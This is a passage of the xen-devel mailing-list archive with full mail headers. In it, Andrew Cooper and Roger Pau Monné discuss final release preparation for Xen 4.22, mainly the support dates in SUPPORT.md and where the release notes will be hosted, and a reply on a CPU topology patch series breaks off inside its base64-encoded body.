X-MS-Exchange-CrossTenant-UserPrincipalName: tr0xwINEX9lkdy3/HalDMmZEUMiIG1fsfRe/JcG0UBwMEqi7PGRCvQenF3ujuFT/Z67Da24cOuJLVQXamQGGUxryaoXPT9TETOuwIoYN5Bc=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS0PR03MB8247
X-purgate-ID: tlsNG-ef75cf/1785342629-A70DDAE4-363F0934/10/73395122804
X-purgate-type: spam
X-purgate-size: 1913

On 29/07/2026 5:25 pm, Roger Pau MonnÃ© wrote:
> On Wed, Jul 29, 2026 at 05:15:29PM +0100, Andrew Cooper wrote:
>> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
>> ---
>> CC: Anthony PERARD <anthony.perard@vates.tech>
>> CC: Michal Orzel <michal.orzel@amd.com>
>> CC: Jan Beulich <jbeulich@suse.com>
>> CC: Julien Grall <julien@xen.org>
>> CC: Roger Pau MonnÃ© <roger@xenproject.org>
>> CC: Stefano Stabellini <sstabellini@kernel.org>
>> CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>
>>
>> For 4.22 only.
>> ---
>>  SUPPORT.md | 10 +++++-----
>>  1 file changed, 5 insertions(+), 5 deletions(-)
>>
>> diff --git a/SUPPORT.md b/SUPPORT.md
>> index 7c42de4c1602..b945fc83afde 100644
>> --- a/SUPPORT.md
>> +++ b/SUPPORT.md
>> @@ -9,13 +9,13 @@ for the definitions of the support status levels etc.
>>  
>>  # Release Support
>>  
>> -    Xen-Version: 4.22-rc
>> -    Initial-Release: n/a
>> -    Supported-Until: TBD
>> -    Security-Support-Until: Unreleased - not yet security-supported
>> +    Xen-Version: 4.22
>> +    Initial-Release: 2026-07-30
>> +    Supported-Until: 2029-07-30
>> +    Security-Support-Until: 2031-07-30
>>  
>>  Release Notes
>> -: <a href="https://wiki.xenproject.org/wiki/Xen_Project_X.YY_Release_Notes">RN</a>
>> +: <a href="https://wiki.xenproject.org/wiki/Xen_Project_4.22_Release_Notes">RN</a>
> Will this wiki page get created?  It's still not there, and given we
> are moving out of wiki usage, we might want to put the release notes
> somewhere else?
>
> This is likely for Cody/oleksii to decide, since I assume they are the
> ones that create the wiki page.

Yeah, we need to find an alternative here.Â  OTOH, the rendered version
of support.md is so hard to find I'm fairly confident it has 0 users,
hence repeating what we've done in the past.

Also I typo'd SUPPORT in the subject.Â  Fixed locally.

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 16:31:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 16:31:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376420.1623173 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp7BU-0001dk-Ux; Wed, 29 Jul 2026 16:31:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376420.1623173; Wed, 29 Jul 2026 16:31:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp7BU-0001dd-S4; Wed, 29 Jul 2026 16:31:08 +0000
Received: by outflank-mailman (input) for mailman id 1376420;
 Wed, 29 Jul 2026 16:31:06 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wp7BS-0001dP-QY
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:31:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp7BS-008Xmp-7J
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 18:31:06 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6a2ac9-2eae-0a2a0a5409dd-0a2a450c8d42-8
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 18:31:06 +0200
Received: from [40.93.195.68]
 (helo=SN4PR2101CU001.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6a2ac8-f479-0a2a450c0019-285dc344692c-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 18:31:06 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by DS0PR03MB8247.namprd03.prod.outlook.com (2603:10b6:8:28f::21) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 16:31:03 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0245.012; Wed, 29 Jul 2026
 16:31:03 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ywJkjkdR/Pe8RKoc2PwGB+t2AG2i9NmjwmCu115iSO/PmeNgKzcGLq1Mvu3gfYL0jWwlyJg/Qs/hOHvtcf0fdWB8CjAp2O6/3XgvvFci7TeG6JtfsvzHlyWQZdizhGI/XiIE1/OALcLslXeBgLOm6G5VN5HmGffhC+Q68aEhIGNWB0fBeGemUg6OSBgP7dPfS1+DA/JYszoRy4O1d5Z6i13GBA8Y/mv+Z236O3Q1nTEhNVM7F1NHw1orCybwEv7VX+mPDFjgvvoMnhnB+jZ4kFPzY5pEpLa3Kz2kZtkQvhpp8g1B7tF/8KDNogfziT6psu4U4jHlB9zaO5IYQVL3qQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=3aKWEcugL0FDXUClrxs4ZzeP3tDbcwkc/QWllUooMx8=;
 b=vgnv0jCM/2o3SaiQ971knpGE81mQTIYn4D/psqN+YB2zueyWE8yfUGgjSSVtPjxutWtWZjNi88+eAen5hJa7L7Me1G+WUT2Q9J8zpzhOuFOf0GKosdWaRQiKVlUkqkjmTxDnK1NnNBK4QYASlfL2I3i01KUEb/djm0PiBe60lXEt/z0Z3LibEXNerQNDMQPcdeG4a1WIWzFp5l5PfSWi1Nqou6nqpYuYo6oQJkkbK8bbIlpb+ZRsv7r7f0PND570vu242+aFdWZlAgXQDzSnp0hinf41wrToOSzzjM24mVrFGE8f3ZmcFFR77Aq72rNPVHnpbJve2jDIkNTVAqbDhw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=3aKWEcugL0FDXUClrxs4ZzeP3tDbcwkc/QWllUooMx8=;
 b=MW1idH9WLaKBc9aeZQMMMJ1u5A8QTu9fHtxaULYHh3F8ZovVnPB0JVmgikh5hhr50jU5bYTvPWKUKoOq0qLg9AMN8kBjNAtTAhe4vofbUZ7AyHmkukWNul2Ttz+wODMTACQpdzoHLjDWu8XsB3BLiEF42zXc0DLxxtG/mIP9Y4o=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <8f809d38-0784-482f-a30b-31af7097df03@citrix.com>
Date: Wed, 29 Jul 2026 17:30:59 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, Stefano Stabellini <sstabellini@kernel.org>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH for-4.22 0/2] Final prep
To: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>
References: <20260729161529.164017-1-andrew.cooper3@citrix.com>
 <amopknY3DltQwGcQ@macbook.local>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4op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XedMcAEQEAAcLB
 XwQYAQgACQUCUuE2fwIbDAAKCRBlw/kGpdefoG4XEACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <amopknY3DltQwGcQ@macbook.local>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P265CA0031.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:2ae::7) To CH8PR03MB8275.namprd03.prod.outlook.com
 (2603:10b6:610:2b9::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|DS0PR03MB8247:EE_
X-MS-Office365-Filtering-Correlation-Id: 0cc22312-c2e2-43fc-4858-08deed8ec823
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|376014|366016|23010399003|11063799006|4143699003|56012099006|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	ee0fbIvt5wNrBHs1/MN+l0ZxDvycrmYvmkKS7kst9JNU/UJuxZXmh+9JN3leO2H7I1/gs9EqC5Ackcwre+7CWDRN8qtP1mn9B1v+NjwZu0+NVp7I7A0SD5Ua6/AWcQvccz/GAZotw2e8p1MW0DPZpKCf5tD1cEZaKt0y9D9VK46JkeDjvxSv71IFMWWR12AO32xy0zZFniUmCHi0aGvwKbzGtFIyuOcs+kAlVhr+yj4sYYDOFh2tHq2vncVhZwkdjiUeRcwLa17B+ymEC356RGnaWZCCdKhe75kXonkwCIzIgRLcESAjIolFff+6dSCNu21b4eJAGZSlheC1UeOVZgYRkoNhiysAYbmF4OAoJLzeDcJ4hj5OIg7Qtb4XGxC70tWrKvFi99W/kSjTfdU74JmRC5JlvokfV1Mzv/dALKQFQ5lTZ7mj514GpfH6D9JKpDVR3o7I4QecnVvVOoFrRzNEp7GjfIJ9pwsolfBgCz7zfuOvx1xmPQ4nN8tXkjs2iZ0tp2Gr0nW3Z4SaihvOk0SzLmyp59p8Fx4AvOTzwe+K8dJSUjHUoj1Lx/YEpPQa88tkVdj1skRX7CRZy6wyzFo8vxMf8LPnZkwQBIUDhhXG2K9q4BYf7R5fgk3gGy33uaEUbt9Ck3tKLQ7V5ouTSDpPa5vTf7u48zhh2B2cogw=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(376014)(366016)(23010399003)(11063799006)(4143699003)(56012099006)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-Ch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xXNXNaQ3pMcEpobE9LdDE3RDJpV2FNM2s1YkE4Qk1IVWpv?=
 =?utf-8?B?NjlkWjMrcnpPYnUrNFNXV0FYQWZvTjJlVXlHQmo4anNZMUNmMHZTSDJpbHFo?=
 =?utf-8?B?U2tBd0J1WjFZYnhjVi9kNTJRWTltYmIxZG52cytmc0s3S2JEMnV3UEFNMU51?=
 =?utf-8?B?bVo4WUwvMDdwbi9GdmxLRm5BT2I5dERMY0JSTzVVaTZ6Zk5mRGdoRGF5dVlJ?=
 =?utf-8?B?T3k2ZzdEUjVIMmhXVnFjeHJwVTREcDVjOGJ3S1Z3Z2VaNmdYcjJkZGt1Q01L?=
 =?utf-8?B?L09USnJXZzY5RGlYSVdOSHFjU0wzSlRyWXEzeUwvOTBJcG8zb1pFekwrdmQ2?=
 =?utf-8?B?aUVHRGhuSGlyYWs2UVJOSW1QbVFKa2cvUUpZd21FT1V0d3F3ODQrcUkrZSt6?=
 =?utf-8?B?blRRV1BoZHhFRHRMN1hvY1loUHJsV0hEdEgyUUlpTWlYNFZLekZnQVA1aVpH?=
 =?utf-8?B?U0ZoWDlieG16cmRvMS9aVmpVeHFVVm53S2NLN3A3QXk0aVc4TmpHNmdJSUFn?=
 =?utf-8?B?QkxqMVpEQVR4eU45Umh3Qk1GWXk4eTFUTVByNU5EY2JpZks2a3Y1eDJrRzdB?=
 =?utf-8?B?d1NFMzBVcWZLcHMvS2xWeVZ5RDNZb3EwOFVqcjhtejgwNzNoQnlVQT09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 0cc22312-c2e2-43fc-4858-08deed8ec823
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8275.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 16:31:03.2787
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: o/cPCXbhGg+g/DRZZfjVFRuvC3Cu/qpLas7Mihp4bRXCFNDrVpN//5/OO0bcmQNc3VzXKhplfsC2LrP6ZCvKIPJ/s3VIQrRpwR+s1lvuAOw=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS0PR03MB8247
X-purgate-ID: tlsNG-d25034/1785342666-5270FA5B-B8A89A17/0/0
X-purgate-type: clean
X-purgate-size: 388

On 29/07/2026 5:25 pm, Roger Pau MonnÃ© wrote:
> On Wed, Jul 29, 2026 at 05:15:27PM +0100, Andrew Cooper wrote:
>> Andrew Cooper (2):
>>   CHANGELOG: Set release date for 4.22
>>   SUPPOT: Define support lifetime
>     ^ SUPPORT

Yes.Â  I noticed just as sending, and fixed locally.

>
> Otherwise:
>
> Acked-by: Roger Pau MonnÃ© <roger.pau@citrix.com>

Thanks.

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 16:49:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 16:49:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376455.1623184 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp7TF-0004Qg-F4; Wed, 29 Jul 2026 16:49:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376455.1623184; Wed, 29 Jul 2026 16:49:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp7TF-0004QZ-Au; Wed, 29 Jul 2026 16:49:29 +0000
Received: by outflank-mailman (input) for mailman id 1376455;
 Wed, 29 Jul 2026 16:49:28 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wp7TC-0004QR-Mh
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:49:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp7TC-008GiD-3P
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 18:49:26 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6a2f04-2eae-0a2a0a5409dd-0a2a4503d626-16
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 18:49:24 +0200
Received: from [52.101.228.120]
 (helo=OS0P286CU011.outbound.protection.outlook.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6a2f12-fae8-0a2a45030019-3465e4780daa-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 18:49:24 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY7P286MB6705.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:320::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.14; Wed, 29 Jul
 2026 16:49:19 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0270.009; Wed, 29 Jul 2026
 16:49:19 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=fv7JlwhxGrOsuSOjqzqWXTphLffIuSJ8APGvAh+KzPsCa0a8mAzLDNO4fOcAX4yesrN/ZfVI2RZT0SPWoxe8MZxJBtq1xP81+LnLvQrEpbGSh7wcgWxDVrDTxCJcGfyWHoUxkNBxlBvXNoLEYDZAoQlzek+BQxykktMl8oVBFW6fV7j1mHJN0eLnUiMMa6RWA7zfddJ0/yFLEAVM5AbttlecE2rIIEvyyKvJ+oQlynaM9fKXRRkjmw203Rh774thFCo1BH6IoHdgyF1kdOfLNwDFeh8X0DzWJeeKJDGIxLWM9UQe+AMEh4pG451cBvPDbGwPYhlbtpPkEE5aDs9xVg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=YDeX+bvw/nMCZ5sEFoNAq0XcAJqf2H2QxEemH8Q2E2c=;
 b=EdMeQmqr1OySF4IlCYeKnAweV9n9y6K0qb1g1h+hRXAkpUqazqTN6yN4x8PaJ7G0aCaqiggH7JSQ4te8Wc720Qq0mRfY2IXKsw5XV9HExZJo78Ce2Jih+r7PQodUZYKFNplrRCPGQCbvBkZUUuuu86pjpOF8OpNFOE/W0ECSY5DaNkAK+pvXoYCZv7Q7/6vjP8roHvw/oxVzjvkPpva63TATUUDNMExkhwlGOIdkLQUugJC7dEqWax8nLSF7AZMXK632h5s/prTWiP2RVju7s+YYBSkCzHR8WU+EjZK3xdqKlhD2mYsz6kabauv+xAl6XG0BOFwk1ZB0rN3EPqqd5Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=YDeX+bvw/nMCZ5sEFoNAq0XcAJqf2H2QxEemH8Q2E2c=;
 b=YpT6HSBw1FqFx4AZfliiFKoLAs4z+t6o82v8+7oM7dpgdNM8IePVoYx+ORjuuZW3plkGb0YsL+zGHwUm5gH9r6rC4jA9oYSglCk2qHewWha5BUAtshctU+4aqiRaCJ5Gia7f3wDzT4CNAw7epNKe1FzoEDjbxEBbKVyTJnKwd+U=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v9 0/4] xen/acpi,device-tree: Introduce generic CPU
 topology support for ACPI and DT
Thread-Topic: [PATCH v9 0/4] xen/acpi,device-tree: Introduce generic CPU
 topology support for ACPI and DT
Thread-Index: AQHdHk7kiFOoxTQzWEaKzsYc0MFEnraCkUuAgAIlOQA=
Date: Wed, 29 Jul 2026 16:49:19 +0000
Message-ID:
 <OS9P286MB7222D972AE41E4298AB214CE82CA2@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260728050642.411240-1-taka@valinux.co.jp>
 <6ebc44f2-c7a3-4b33-9f6a-cd48be13ad27@suse.com>
In-Reply-To: <6ebc44f2-c7a3-4b33-9f6a-cd48be13ad27@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|TY7P286MB6705:EE_
x-ms-office365-filtering-correlation-id: e3ce1604-1f3b-469c-259e-08deed915586
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|376014|23010399003|1800799024|366016|38070700021|6133799003|10067099003|4143699003|56012099006|22082099003|18002099003;
x-microsoft-antispam-message-info:
 Ua+U/eARyvjKwfQ3QyhYTee9lVzE5C0cnNUQ6lwp4mB3ZM52yEJzFHFEcZru/YNU7Gf64rQpe37mn7wsSgL3fK5cKB3sCAvwHKuLEGVQSgtwQ/Tbw7DRZtYkxnSDS76AfTh829F/Jw9VZ2o0SuPib8EzObiC3b1e0q86cOfdaFWEawi/ikfsTn6FYdP756mU4vvYzV+bXCuRBUrvqRtGp+lzSm+FFeouPcdmn1T22Rz+dfv+B/B6PNOxPnHkzk3yy8MjzBFGFEA7sOjF1IlhebwFRp2wGr0XyDJXrv407TQVcJZKnbEUkY8CF/P9uPzdo+E0RSEchuI319aRf8KPENMCKtKMagoF+gDmWJ18SFuaVqt4hbX3bPEzB+kfPNzTSBnO82jeixbXlkgLBWVKkRTvUfnnmO1TY+0NNTxo5hZybgyWodc+mHftd8Yfhm9Y/kioBvZgQqGNP2Agw/Fyf6KjHPVcE+gXBpjkcLzqKOn3SOxTQbGRCcHoHTQKCgHuZ78mVYfPl3wCV8GhAXM01zG4Uh6OlzKS2+HnvyH0z8Vq1Z14saQ1jB9IEaCBeZzxzhvX16sXgC71MNpBEW8weeZPTTXuzRt1j9xABmoP0PuQaIQ0sZQHzD6/1uZQUEXyJrIrEZEig2YbCudERyj5wDMiFVVNgBTBe+F7v9aSaw9Nonnluna3UHziXsLpAnSq23AbvWmy0ervI1yJsRLiyOZGkCn6fVzvue+/2pAHstg=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(366016)(38070700021)(6133799003)(10067099003)(4143699003)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?T3ozYlRZSmhhWm5HUzBsYXJKTE9HLzZTcnE1TFQ5STc2MU02a01pdTVvMjZj?=
 =?utf-8?B?MlQ1bjZTU0tpdU5DQzR4UVEzTGFNaDJnQ3lqNTVJSFI5ZmNsaXR3OE40Mm1l?=
 =?utf-8?B?Q0pFY09Ta1Fkc1d3QWdLN3Z3SDBQY3d6dnVneE01YXNqbExXSWVrNFdYcktZ?=
 =?utf-8?B?c3kvaVdsYXpVbkFYSCs3T1VmbUNiVEdFMzJrN1ppNTVCb3hyTklkKytLL2hU?=
 =?utf-8?B?S05HS0wyUWIvTDhXaFdNYkJFcGd0bTBiWmxEL2ZQTlBpbEkyc1VreW9SOGpW?=
 =?utf-8?B?RjAvbi9GdmlRRUt3dlFnZzlJUno5bVJPUlNZUDlVZmsyQUlEWTdLTC9xV2RU?=
 =?utf-8?B?dllJSHM1SHdUeWhOY3Vqc2psTkVxd3h2aklteWJDRjNpbUlCcmNkeXREZkVx?=
 =?utf-8?B?U1BWTGhIcUhDYVVpY0RtTWdZUTZFUDE3UndYdG1HVStpT3pXYWRCTE52YjMv?=
 =?utf-8?B?YjY4N0NGQTljWGgzLzJ5R3dWRnU4S3NQMUVwKzNuZGI5cFJDNmRGakFEY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MHlidXFwMGlSZ0xkeWVp?=
 =?utf-8?Q?6ktFLKuy4dnq1pqi2/?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: e3ce1604-1f3b-469c-259e-08deed915586
X-MS-Exchange-CrossTenant-originalarrivaltime: 29 Jul 2026 16:49:19.3495
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: p3BHi+oUzSfka5WS0Jj2HjoHkN2mLhP2kbVBqK0ch5ztjsClR+pscbsUu8gFfNS6G+nqx58uKDC5qvNzSC02vQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY7P286MB6705
X-purgate-ID: tlsNG-33051d/1785343764-6E0D14E9-B7E15648/0/0
X-purgate-type: clean
X-purgate-size: 1524

SGkgSmFuLA0KDQo+ID4gQ2hhbmdlcyBpbiB2OToNCj4gPiAgLSBBZGQgYm91bmRzIGNoZWNraW5n
IGZvciB0aGUgbnVtYmVyIG9mIHByaXZhdGUgcmVzb3VyY2VzIGluIHRoZSBQUFRUDQo+ID4gICAg
